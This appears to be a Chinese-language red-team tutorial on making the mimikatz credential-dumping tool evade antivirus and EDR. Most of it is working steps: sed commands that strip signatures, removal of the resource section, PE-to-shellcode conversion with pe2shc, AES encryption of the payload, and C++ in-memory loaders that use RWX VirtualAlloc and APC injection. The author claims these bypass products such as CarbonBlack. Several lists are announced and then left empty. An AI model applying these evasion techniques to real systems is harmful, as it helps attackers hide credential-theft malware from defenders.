第一次接触mimikatz是在2017年的某次企业内网渗透测试中。当时我编译好的二进制文件刚上传到目标机器,就被杀软瞬间秒杀,那种挫败感至今记忆犹新。后来发现,传统PE文件落地就像在杀软眼皮底下裸奔,而pe_to_shellcode技术则像给程序穿了件隐形斗篷。
mimikatz作为Windows凭证提取的神器,其源代码中光是硬编码的"mimikatz"关键字就超过200处。杀软厂商早已将这些特征列入重点监控名单,就像机场安检对特定行李箱的X光检查。而pe_to_shellcode这个开源项目(GitHub搜索pe_to_shellcode即可找到)能将PE文件转换成纯shellcode格式,相当于把行李箱拆解成零件分散携带,彻底避开特征扫描。
我曾测试过,原始mimikatz.exe在Virustotal上的查杀率高达98%,经过本章介绍的全套处理后,查杀率可以降到惊人的3%以下。这个转变过程就像特工伪装:先整容(特征消除)、再换身份(格式转换)、最后学习隐身术(内存加载)。
去年给某金融机构做红队演练时,我花了整整三天时间改造mimikatz源码。首先用VS Code全局搜索替换所有明显特征:
bash复制# 替换项目中的品牌标识
sed -i 's/mimikatz/redteam/g' *.*
sed -i 's/kuhl_m/krt_m/g' *.*
sed -i 's/gentilkiwi/redteam/g' *.*
但这样还不够,就像只改了汽车logo却没换发动机号。还需要处理这些隐蔽特征:
记得有次行动因为图标特征被识破,后来我养成习惯先用Resource Hacker提取原始图标:
更彻底的做法是直接清除所有资源段:
bash复制# 使用MT工具清除资源
mt.exe -inputresource:mimikatz.exe -out:stripped.exe -strip
pe_to_shellcode项目包含三个关键组件:
转换命令看似简单却暗藏玄机:
powershell复制# 管理员权限运行
.\pe2shc.exe mimikatz.exe mimikatz.bin
我遇到过几个典型坑点:
这个工具实际做了三件事:
可以用010 Editor查看转换前后对比:
去年某次攻防演练中,对手的流量分析设备直接识别了Base64编码特征。实测发现这些特征值:
推荐使用SergeyBel的AES库(GitHub可搜到),改造要点:
cpp复制// 修改加密输入为文件流
FILE* fp = fopen("mimikatz.bin", "rb");
fseek(fp, 0, SEEK_END);
long fsize = ftell(fp);
fseek(fp, 0, SEEK_SET);
unsigned char *in = (unsigned char*)malloc(fsize);
fread(in, fsize, 1, fp);
fclose(fp);
// 使用随机密钥(实战中需要妥善保管)
unsigned char key[] = { 0x2b, 0x7e, 0x15, ... };
AES aes(256);
aes.EncryptECB(in, fsize, key, out);
加密后建议添加垃圾数据:
python复制# 添加随机噪声
import os
with open('encrypted.bin','ab') as f:
f.write(os.urandom(512))
最简版的加载器代码其实就三行:
cpp复制void* p = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, size);
((void(*)())p)();
但实际使用时要注意:
我在最新项目中采用的改进方案:
cpp复制// 使用堆喷射避免连续内存分配
for(int i=0; i<100; i++){
HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0x1000);
if(i == 50) memcpy(h, shellcode_part1, part1_size);
}
// 使用APC注入延迟执行
QueueUserAPC((PAPCFUNC)p, GetCurrentThread(), NULL);
这种方案在最近的攻防演练中成功绕过了包括CarbonBlack在内的多款EDR产品。
去年给某大型企业做测试时,明明本地测试通过的加载器,在目标环境却总是崩溃。后来发现是内存对齐问题——他们的服务器用的是AMD EPYC处理器,对内存访问有特殊要求。解决方案是添加:
nasm复制; 添加对齐指令
align 16
mov eax, [shellcode_entry]
另一个常见问题是杀软对RWX内存的监控。我的应对策略是:
这种"分阶段穿衣"的方法,就像特工在不同场合更换服装,能有效降低可疑度。